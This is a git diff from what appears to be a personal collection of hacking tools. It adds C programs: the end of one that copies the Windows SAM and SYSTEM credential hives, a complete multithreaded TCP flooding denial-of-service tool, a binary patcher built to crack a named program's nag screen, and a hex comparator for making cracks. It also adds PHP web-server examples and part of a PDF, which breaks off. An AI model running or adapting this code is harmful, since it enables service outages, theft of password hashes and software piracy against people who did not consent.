//system("@echo off"); + sprintf(now, "mkdir %s", dir); + system(now); + sprintf(now, "copy %%SystemRoot%%\\repair\\sam %s", dir); + system(now); + sprintf(now, "copy %%SystemRoot%%\\repair\\system %s", dir); + system(now); + //system("PAUSE"); + //return 0; +} diff --git a/c/synfcity.c b/c/synfcity.c new file mode 100755 index 0000000..481441e --- /dev/null +++ b/c/synfcity.c @@ -0,0 +1,158 @@ +/* +SYN-F-City +SynFlooder ( Optimized for DEV-C++ ) +I made this like a PortFuck alternative for Microsoft Windows Commandline. +You can do anything what you want with this piece of software (and source code), +but only at yours own risk and responsibility. +You can modify and distribute this software as long as it's not used in public +networks or against extraneous computer and as long as my name is mentioned. +Sorry for my poor english and use it well. ;D + + <- Harvie 2oo7 */ + +//Includes +#include +#include +#include +#include +#include +#include //don't forget to include Dev-Cpp/lib/libwsock32.a + +//Settings +#define HOSTLEN 256 //Maximum hostname lenght +char target_host[HOSTLEN] = "127.0.0.1"; //host +unsigned int target_port = 80; //port +int delay = 1000; //sleep in ms +unsigned int threads_max = 300; //0 == infinite +char mode = 1; //0 = reconnect on connect; 1 = wait for disconnection by server +#define DATALEN 1024 //Maximum data lenght +char snd_data[DATALEN] = ""; //Data to send (Optional) + +//Init +char product[] = "SYNFCity"; +char version[] = "0.4 (2oo7)"; +int thread_report = 10; +unsigned int thread_no = 1; + +//Socket thread +unsigned __stdcall SecondThreadFunc( void* pArguments ) +{ + unsigned int this_thread_no = thread_no; + //system("cls"); + //printf( "[d] Thread #%d\n", this_thread_no ); //Debug + + //Sock/////////////////////////////////////// + int s; + SOCKADDR_IN sck; + HOSTENT *host; + WSADATA wsadata; + + WSAStartup(MAKEWORD(1,1),&wsadata); + + if( (host=gethostbyname(target_host)) == NULL ) { + printf("\n[!] Host not found !!!\n"); + exit(1); + } + sck.sin_family = PF_INET; + memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length); + sck.sin_port = htons(80); + + while(1) { + s=socket(AF_INET, SOCK_STREAM,0); + while( !( connect(s,(struct sockaddr *)&sck,sizeof(sck)) ) ) { Sleep(100); } + if( strlen(snd_data) > 0 ) { + send(s,snd_data,0,strlen(snd_data)); //Send data + } + if(mode) { + while( send(s,snd_data,0,strlen(snd_data)) != -1 ) { Sleep(3000);} //Wait for server side close + } + //printf("[d] Reconnecting #%d\n", this_thread_no); //Debug + closesocket(s); + } + //Sock end////////////////////////////////// + + _endthreadex( 0 ); + return 0; +} + +//MAIN +int main(int argc, char *argv[]) +{ + //Help + if(argc < 3) { + printf("\n%s %s\n\nHarvie's Windows SYNFlood based service performance tester\n(PortFuck commandline alternative)\n\n", product, version); + printf(" Usage: %s host port [delay] [socks_max] [mode] [\"data\"]\n\n", product); + printf("host - yours testing target\n"); + printf("port - port with target service\n"); + printf("delay - wait between thread creating (ms)\n"); + printf("socks_max - maximum of threads/sockets; 0 = infinite -don't do with short delay\n"); + printf("mode - (0|1); 0 = reconnect on connect; 1 = wait for disconnection by server\n"); + printf("data - send this string to the server (\"\\n\\n\" will be added)\n"); + printf("\n"); + printf("This values will be used implicitly:\n %s %s %d %d %d %d \"%s\"\n", product, target_host, target_port, delay, threads_max, mode, snd_data); + printf("\n\n"); + printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"); + printf(" !! WARNING - TERMS OF USE - READ CAREFULLY !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"); + printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"); + printf(" !!!!!!!!! THIS IS FREEWARE AND COMES WITH ABSOLUTELY NO WARRANTY !!!!!!!!!!!!!\n"); + printf(" !!!!!!!!! IT'S PROHIBITED TO USE THIS SOFTWARE IN PUBLIC NETWORKS !!!!!!!!!!!!\n"); + printf(" !!!!!!!!! USE THIS TEST ONLY AGAINST YOURS OWN COMPUTERS !!!!!!!!!!!!!!!!!!!!!\n"); + printf(" !!!!!!!!! YOU HAVE FULL RESPONSIBILITY FOR USING THIS PROGRAM !!!!!!!!!!!!!!!!\n"); + printf(" !!!!!!!!! YOU HAVE FULL RESPONSIBILITY FOR YOU !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"); + printf(" !!!!!!!!! USE THIS ONLY ON YOURS OWN RISK !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"); + printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"); + printf(" !!!! DON'T USE THIS SOFTWARE IF YOU DOESN'T UNDERSTOOD OR YOU DON'T AGREE !!!!\n"); + printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"); + printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! <- HARVIE 2oo7 !!!\n"); + printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"); + printf(" !I have done this only to test my own server's resistance against DoS attacks!\n"); + printf("\n"); + if(argc < 2) { + printf("Press any key, if you are sure, that you understand and you agree with terms of use. Otherwise close the window. (Run this program with more than zero arguments to prevent this confirmation, if you want dump help to file, etc...)\n"); + system("pause"); + } + return(1); + } + + //Parse arguments + if(argc > 1) { snprintf(target_host, HOSTLEN, "%s", argv[1]); } + if(argc > 2) { target_port = atoi(argv[2]); } + if(argc > 3) { delay = atoi(argv[3]); } + if(argc > 4) { threads_max = atof(argv[4]); } + if(argc > 5) { mode = atoi(argv[5]); } + if(argc > 6) { snprintf(snd_data, DATALEN,"%s", argv[6]); } + printf("[*] %s host: %s port: %d\n[i] delay: %d socks_max: %d mode: %d data: %s", product, target_host, target_port, delay, threads_max, mode, snd_data); + if(strlen(snd_data) > 0) { snprintf(snd_data, DATALEN,"%s\n\n", snd_data); } + + + //Load + HANDLE hThread; + unsigned threadID; + printf("[!] SynFlooding %s:%d\n[i] C-c 2 stop\n\n", target_host, target_port); + printf( "[T] Creatin' some threadzz... ;))\n" ); + printf( "[i] Showing only each %dth thread:\n", thread_report ); + + //Fire ;)) + while(1) { + hThread = (HANDLE)_beginthreadex( NULL, 0, &SecondThreadFunc, NULL, 0, &threadID ); + if(hThread == 0) { + printf("\n[!] Reached maximum number of threads allowed by system.\n"); + break; + } + if(thread_no % thread_report == 0) { + printf( "[#] Thread #%d was succesfully created.\n", thread_no ); //Debug + } + Sleep(delay); + thread_no++; + if(threads_max != 0) { + if(thread_no > threads_max) { + printf("\n[!] Reached previously selected maximum number of threads.\n"); + break; + } + } + } + + printf("[!] Working...\n[i] C-c 2 stop\n\n"); + //Doo something useful while running ;D + while(1) { sleep(60000); } +} diff --git a/misc/BinCracking/binpatcher.c b/misc/BinCracking/binpatcher.c new file mode 100755 index 0000000..4fe3f55 --- /dev/null +++ b/misc/BinCracking/binpatcher.c @@ -0,0 +1,96 @@ +//BinPatcher 3.0 +//by: Harvie 2oo7 + +/* This code is very useful, if you are cracking software and you need +to share your cracks without whole binary (because of size or copyright). +This is simple way to patch binaries at users home. +Warning: You need to know some things about PE (probably) architecture to use this. +But there is still some automatic computing with addreses, +so you have to know only bit about yours binary... +*/ +/*Note: this is patch used to crack free version of CPULower (remove NAG screen), +and you have to edit it for any file, that you want to patch. +*/ + +#include +#include + +int main(int argc, char *argv[]) +{ + //Basic informations + char file[] = "cpulower.exe"; + char this_file[] = "BinPatcher.exe"; + char title[] = "CPU Lower - NAG screen remover - patcher"; + char author[] = "<-Harvie 2oo7"; + //You can get these from debuger, disassembler, etc...: + long int image_base = 0x400000; //ImageBase of binary + long int section_rva = 0x1000; //Virtual addres of patched section + long int section_offset = 0x400; //Offset of patched section + long int size = 0, needed_size = 317440; //Size in Bytes (Compressed size for PE compressors) + + //File declaration + FILE *bin; + + //Banner + printf("%s\nby: %s\n\nThis will patch %s\n\n", title, author, file); + + //Arguments + if(argc != 2) { + printf("Incorrect number of arguments!!!\n"); + printf("Usage: %s %s\n", this_file, file); + printf("You can simply Drag&Drop file \"%s\" on this (%s)\n\n", file, this_file); + system("pause"); + return(0); + } + + //Size check + int c; + printf("Checking file size of %s...\n", argv[1]); + bin = fopen(argv[1], "rb"); + if(bin == NULL) { printf("Error while opening %s\n", argv[1]); return 0; } + while( (c = fgetc(bin)) != EOF ) { + size++; + } + fclose(bin); + printf("File size = %d B\n", size); + if(size != needed_size) { + printf("Incorrect file size (%d B) !!!\nContinue?\n", size); + system("pause"); + } else { + printf("File size OK!\n\n"); + } + + //Backup + char backup[1024]; + printf("Backuping to %s.crkbak\n", argv[1]); + sprintf(backup, "copy /B /Y \"%s\" \"%s.crkbak\" > nul", argv[1], argv[1]); + printf("Backup done.\n\n"); + system(backup); + + //UnCompress example for upx (Use this only if you know what it is) + /* + printf("Uncompressing...\n"); + char uncs[1024]; + sprintf(uncs, "upx -d \"%s\"", argv[1]); + system(uncs); //THis needs upx binary + printf("Uncompressed!\n\n"); + */ + + //Patching + long int virtual_addres = 0x437069; //Virtual addres from debuger - Example: 0x00437069 + unsigned char patch[] = "\x90\x90\x90\x90\x90"; //Patch to apply - Example: "\x90" (== NOP) + bin = fopen(argv[1], "rb+"); + if(bin == NULL) { printf("Error while opening %s\n", argv[1]); return 0; } + + long int offset = virtual_addres - image_base - section_rva + section_offset; //Vypocitame offset v souboru + printf("Patching code @ D: %d H: 0x%x\n", offset, offset); + fseek(bin, offset, SEEK_SET); //Seek code + fwrite(&patch, (sizeof(patch)-1), 1, bin); //Patch code + + //GO HOME ;}} + fclose(bin); + + printf("File was successfully patched!!!\n\n"); + system("PAUSE"); + return 0; +} diff --git a/misc/BinCracking/hexcmp.c b/misc/BinCracking/hexcmp.c new file mode 100755 index 0000000..a3cb8c3 --- /dev/null +++ b/misc/BinCracking/hexcmp.c @@ -0,0 +1,87 @@ +#include +#include + +int main(int argc, char *argv[]) +{ + printf("HEXCMP 0.3\nHexadecimal Comparator\n<-Harvie 2oo7\n\n"); + if(argc < 3) { + printf("Usage: hexcmp oldfile newfile [decimal_offset_to_start_at]\n"); + printf("This will show what is new in \"newfile\",\n"); + printf("this can be useful, when making binary patchers.\n\n"); + system("pause"); + return 0; + } + + printf("Comparing old \"%s\" with new \"%s\"\n", argv[1], argv[2]); + + FILE *forig, *fcrac; + forig = fopen(argv[1], "rb"); + if(forig == NULL) { printf("Error while opening %s\n", argv[1]); return 0; } + fcrac = fopen(argv[2], "rb"); + if(fcrac == NULL) { printf("Error while opening %s\n", argv[2]); return 0; } + + short found = 0; + unsigned long int offset = 0, last = 0, end = 0, dlen = 0; + int corig = 0, ccrac = 0; + + if(argc > 3) { + offset = atof(argv[3]); + printf("Comparing from offset D: %d H: 0x%x\n", offset, offset); + } + printf("\n"); + + //Seek + fseek(forig, offset, SEEK_SET); + fseek(fcrac, offset, SEEK_SET); + + while((ccrac = fgetc(fcrac)) != EOF) { + if( (corig = fgetc(forig)) == EOF ) { + corig == -9999; + if(end == 0) { + end = 1; + } + } + if(corig != ccrac) { + + if(end == 1) { + if(dlen != 0) { + printf("\nLenght: %d Bytes", dlen); + dlen = 0; + } + printf("\n\n--- END OF OLDER FILE ---\n\n"); + end = 2; + } + + if(offset != (last+1)) { + if(dlen != 0) { + printf("\nLenght: %d Bytes", dlen); + dlen = 0; + printf("\n\n"); + } + printf("Difference @ D: %d H: 0x%x\n", offset, offset); + } + + printf("\\x%x", ccrac); + + dlen++; + last = offset; + found = 1; + } + + offset++; + } + + if(dlen != 0) { + printf("\nLenght: %d Bytes", dlen); + } + + fclose(forig); + fclose(fcrac); + + if(found == 0) { + printf("No difference found!!!"); + } + printf("\n"); + //system("PAUSE"); //Debug + return 0; +} diff --git a/misc/BinCracking/patcher_gen.phps b/misc/BinCracking/patcher_gen.phps new file mode 100755 index 0000000..ba09b40 --- /dev/null +++ b/misc/BinCracking/patcher_gen.phps @@ -0,0 +1,52 @@ + diff --git a/php/hhttpd/examples/hhttpd_listing.html b/php/hhttpd/examples/hhttpd_listing.html new file mode 100755 index 0000000..00e7c70 --- /dev/null +++ b/php/hhttpd/examples/hhttpd_listing.html @@ -0,0 +1,10 @@ +Index of x:/WarGames/ + +Directory listing of x:/WarGames/ :

+ +1 - [DIR] Sub
+2 - Wargames.avi
+3 - Wargames.sub
+
+Total: 3 + \ No newline at end of file diff --git a/php/hhttpd/examples/hhttpd_listing_new.html b/php/hhttpd/examples/hhttpd_listing_new.html new file mode 100755 index 0000000..fec4cb8 --- /dev/null +++ b/php/hhttpd/examples/hhttpd_listing_new.html @@ -0,0 +1,41 @@ + +Index of c:/ + +Available volumes:
+[/] +[c:] +[d:] +[e:] +[f:] +[x:] +[y:] +[z:] +
+ +Directory listing of c:/ :

+ +[DIR] Parent Directory (../)
+1 - AUTOEXEC.BAT
+2 - boot.ini
+3 - Bootfont.bin
+4 - CONFIG.SYS
+5 - [DIR] Documents and Settings
+6 - hiberfil.sys
+7 - IO.SYS
+8 - ISACER.ID
+9 - MSDOS.SYS
+10 - NTDETECT.COM
+11 - ntldr
+12 - pagefile.sys
+13 - [DIR] Program Files
+14 - [DIR] RECYCLER
+15 - sysc.sys
+16 - sysc.syss
+17 - [DIR] sysrpr
+18 - sysrpr.bat
+19 - [DIR] System Volume Information
+20 - [DIR] WINDOWS
+
+Total: 20 +
+ \ No newline at end of file diff --git a/php/hhttpd/examples/hhttpd_output.txt b/php/hhttpd/examples/hhttpd_output.txt new file mode 100755 index 0000000..363572b --- /dev/null +++ b/php/hhttpd/examples/hhttpd_output.txt @@ -0,0 +1,19 @@ + + Starting Harvie's HTTPd at: + tcp://127.0.0.1:81 + +200 [DIR] ./ +301 gbook_offline -> /gbook_offline/ +200 [DIR] gbook_offline/ +200 [DIR] gbook_offline/ +301 c: -> /c:/ +200 [DIR] c:/ +301 c:/WINDOWS -> /c:/WINDOWS/ +200 [DIR] c:/WINDOWS/ +301 c:/WINDOWS/repair -> /c:/WINDOWS/repair/ +200 [DIR] c:/WINDOWS/repair/ +200 c:/WINDOWS/repair/autoexec.nt +200 c:/WINDOWS/repair/config.nt +404 Some random name +404 c:/Another notfound +404 d:/notfoundtest diff --git a/php/hhttpd/http_server.pdf b/php/hhttpd/http_server.pdf new file mode 100755 index 0000000..a4e198b --- /dev/null +++ b/php/hhttpd/http_server.pdf @@ -0,0 +1,1152 @@ +%PDF-1.3 +%Ç쏢 +1 0 obj +<> +endobj +2 0 obj +<> +endobj +3 0 obj +<> +endobj +4 0 obj +<> +endobj +5 0 obj +<> +stream +BT 1 0 0 1 72 762 Tm +/F1 11 Tf 0 0 0 rg (#!usr/bin/php)Tj +0 -13.2 TD +/F2 11 Tf 0 0 1 rg ()Tj +( )Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (\))Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($port)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +0 0 0.498 rg (trim)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($argv)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (]\);)Tj +T* +( )Tj +0 0 0.498 rg (if)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($argc)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (>)Tj +( )Tj +/F1 11 Tf 0 0.498 0.498 rg (2)Tj +/F2 11 Tf 0 0 0 rg (\))Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($interface)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +0 0 0.498 rg (trim)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($argv)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (2)Tj +/F2 11 Tf 0 0 0 rg (]\);)Tj +T* +(})Tj +T* +ET +endstream +endobj +6 0 obj +<> +stream +BT 1 0 0 1 72 762 Tm +/F2 11 Tf 0 0 0 rg /F1 11 Tf 0 0.498 0 rg (///FUNCTIONS//////////////////////////////////////////////////////////////////////)Tj +0 -13.2 TD +/F2 11 Tf 0 0 0.498 rg (function)Tj +/F1 11 Tf 0 0 0.200 rg ( send_dir_listing)Tj +/F2 11 Tf 0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($directory)Tj +/F2 11 Tf 0 0 0 rg (\))Tj +( )Tj +({)Tj +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($num)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("0")Tj +/F2 11 Tf 0 0 0 rg (;)Tj +( )Tj +T* +( )Tj +/F1 11 Tf 0 0.498 0 rg (//Header)Tj +T* +0 0 0.200 rg ( @)Tj +/F2 11 Tf 0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("\\nIndex of )Tj +0 0 0.498 rg ($directory)Tj +0 0 1 rg (\\n\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +/F1 11 Tf 0 0 0.200 rg ( @)Tj +/F2 11 Tf 0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("Available volumes:
\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +T* +( )Tj +/F1 11 Tf 0 0.498 0 rg (//Special folders)Tj +T* +0 0 0.200 rg ( @)Tj +/F2 11 Tf 0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("[/]\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +( )Tj +/F1 11 Tf 0 0.498 0 rg (//Server root)Tj +T* +( )Tj +/F2 11 Tf 0 0 0.498 rg (if)Tj +0 0 0 rg (\()Tj +0 0 0.498 rg (is_dir)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 1 rg ("/")Tj +/F2 11 Tf 0 0 0 rg (\)\))Tj +( )Tj +({)Tj +( )Tj +/F1 11 Tf 0 0.498 0 rg (//Unix root)Tj +T* +0 0 0.200 rg ( @)Tj +/F2 11 Tf 0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("[//]\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +(})Tj +T* +( )Tj +T* +( )Tj +/F1 11 Tf 0 0.498 0 rg (//Available volumes)Tj +T* +( )Tj +0 0 0.498 rg ($dsks)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("cdefghijklmnopqrstuvwxyz")Tj +/F2 11 Tf 0 0 0 rg (;)Tj +( )Tj +/F1 11 Tf 0 0.498 0 rg (//Show this volumes \(if available\))Tj +T* +( )Tj +/F2 11 Tf 0 0 0.498 rg (for)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($i)Tj +/F2 11 Tf 0 0 0 rg (=)Tj +/F1 11 Tf 0 0.498 0.498 rg (0)Tj +/F2 11 Tf 0 0 0 rg (;)Tj +/F1 11 Tf 0 0 0.498 rg ($i)Tj +/F2 11 Tf 0 0 0 rg (<)Tj +0 0 0.498 rg (strlen)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($dsks)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +/F1 11 Tf 0 0 0.498 rg ($i)Tj +/F2 11 Tf 0 0 0 rg (++\))Tj +( )Tj +({)Tj +T* +( )Tj +0 0 0.498 rg (if)Tj +0 0 0 rg (\()Tj +0 0 0.498 rg (is_dir)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($dsks)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0 0.498 rg ($i)Tj +/F2 11 Tf 0 0 0 rg (].)Tj +/F1 11 Tf 0 0 1 rg (":")Tj +/F2 11 Tf 0 0 0 rg (\)\))Tj +( )Tj +({)Tj +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($vol)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($dsks)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0 0.498 rg ($i)Tj +/F2 11 Tf 0 0 0 rg (];)Tj +T* +/F1 11 Tf 0 0 0.200 rg ( @)Tj +/F2 11 Tf 0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("[)Tj +0 0 0.498 rg ($vol)Tj +0 0 1 rg (:]\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +(})Tj +T* +( )Tj +/F1 11 Tf 0 0.498 0 rg (//echo\($dsks[$i].":"\);)Tj +T* +( )Tj +/F2 11 Tf 0 0 0 rg (})Tj +T* +/F1 11 Tf 0 0 0.200 rg ( @)Tj +/F2 11 Tf 0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("
\\n\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +T* +( )Tj +/F1 11 Tf 0 0.498 0 rg (//Directory listing)Tj +T* +0 0 0.200 rg ( @)Tj +/F2 11 Tf 0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("Directory listing of )Tj +0 0 0.498 rg ($directory)Tj +0 0 1 rg ( :

\\n\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +/F1 11 Tf 0 0 0.200 rg ( @)Tj +/F2 11 Tf 0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("[DIR] Parent Directory \(../\)
\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($files)Tj +/F2 11 Tf 0 0 0 rg (=)Tj +0 0 0.498 rg (opendir)Tj +( )Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($directory)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +( )Tj +T* +( )Tj +0 0 0.498 rg (while)Tj +( )Tj +0 0 0 rg (\()Tj +0 0 0.498 rg (false)Tj +0 0 0 rg (!==\()Tj +/F1 11 Tf 0 0 0.498 rg ($file)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +0 0 0.498 rg (readdir)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($files)Tj +/F2 11 Tf 0 0 0 rg (\)\)\))Tj +( )Tj +T* +( )Tj +({)Tj +( )Tj +T* +( )Tj +0 0 0.498 rg (if)Tj +( )Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($file)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (!=)Tj +( )Tj +/F1 11 Tf 0 0 1 rg (".")Tj +( )Tj +/F2 11 Tf 0 0 0 rg (&&)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($file)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (!=)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("..")Tj +/F2 11 Tf 0 0 0 rg (\))Tj +( )Tj +T* +( )Tj +({)Tj +( )Tj +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($num)Tj +/F2 11 Tf 0 0 0 rg (++;)Tj +T* +( )Tj +0 0 0.498 rg (if)Tj +0 0 0 rg (\()Tj +0 0 0.498 rg (is_dir)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 1 rg (")Tj +0 0 0.498 rg ($directory)Tj +0 0 1 rg (/)Tj +0 0 0.498 rg ($file)Tj +0 0 1 rg (")Tj +/F2 11 Tf 0 0 0 rg (\)\))Tj +( )Tj +({)Tj +T* +( )Tj +0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 1 rg (")Tj +0 0 0.498 rg ($num)Tj +0 0 1 rg ( - [DIR] )Tj +0 0 0.498 rg ($file)Tj +0 0 1 rg (
\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +(})Tj +( )Tj +0 0 0.498 rg (else)Tj +( )Tj +0 0 0 rg ({)Tj +T* +( )Tj +0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 1 rg (")Tj +0 0 0.498 rg ($num)Tj +0 0 1 rg ( - )Tj +0 0 0.498 rg ($file)Tj +0 0 1 rg (
\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +(})Tj +T* +( )Tj +(})Tj +( )Tj +T* +( )Tj +(})Tj +T* +( )Tj +T* +( )Tj +/F1 11 Tf 0 0.498 0 rg (//Footer)Tj +T* +( )Tj +/F2 11 Tf 0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("
\\nTotal: )Tj +0 0 0.498 rg ($num)Tj +0 0 1 rg (\\n
\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +(})Tj +T* +T* +/F1 11 Tf 0 0.498 0 rg (///CODE///////////////////////////////////////////////////////////////////////////)Tj +T* +/F2 11 Tf 0 0 0.498 rg (echo)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 1 rg ("\\n\\tStarting Harvie's HTTPd at:\\n\\ttcp://)Tj +0 0 0.498 rg ($interface)Tj +0 0 1 rg (:)Tj +0 0 0.498 rg ($port)Tj +0 0 1 rg (\\n\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +/F1 11 Tf 0 0.498 0 rg (//system\("title Harvie's HTTPd at tcp://$interface:$port"\); //Microsoft Windows only)Tj +T* +/F2 11 Tf 0 0 0.498 rg (set_time_limit)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0.498 0.498 rg (0)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +/F1 11 Tf 0 0 0.498 rg ($sss)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +0 0 0.498 rg (stream_socket_server)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 1 rg ("tcp://)Tj +0 0 0.498 rg ($interface)Tj +0 0 1 rg (:)Tj +0 0 0.498 rg ($port)Tj +0 0 1 rg (")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +T* +0 0 0.498 rg (while)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (\))Tj +( )Tj +({)Tj +T* +/F1 11 Tf 0 0 0.200 rg ( @)Tj +0 0 0.498 rg ($sfp)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +0 0 0.498 rg (stream_socket_accept)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sss)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +ET +endstream +endobj +7 0 obj +<> +stream +BT 1 0 0 1 72 762 Tm +/F2 11 Tf 0 0 0 rg ( )Tj +0 0 0.498 rg (if)Tj +0 0 0 rg (\(!)Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (\))Tj +( )Tj +0 0 0.498 rg (continue)Tj +0 0 0 rg (;)Tj +0 -13.2 TD +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($loop)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (;)Tj +T* +( )Tj +0 